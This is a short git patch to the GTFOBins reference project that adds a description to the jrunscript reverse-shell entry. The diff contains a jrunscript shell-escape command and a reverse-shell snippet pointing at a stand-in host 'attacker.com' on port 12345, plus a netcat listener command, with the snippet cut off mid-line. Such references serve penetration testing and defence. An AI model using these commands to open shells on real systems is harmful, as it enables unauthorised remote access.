From 7ad0233b33713c13bf1084a1e8d956f25e463600 Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Sun, 14 Oct 2018 21:01:24 +0100 Subject: [PATCH] Add description to jrunscript reverse-shell --- _gtfobins/jrunscript.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/_gtfobins/jrunscript.md b/_gtfobins/jrunscript.md index 519f499..c072f87 100644 --- a/_gtfobins/jrunscript.md +++ b/_gtfobins/jrunscript.md @@ -4,7 +4,8 @@ functions: shell: - code: jrunscript -e "exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')" reverse-shell: - - code: | + - description: Run `nc -l -p 12345` on the attacker box to receive the shell. + code: | export RHOST=attacker.com export RPORT=12345 jrunscript -e 'var host='"'""$RHOST""'"'; var port='"$RPORT"';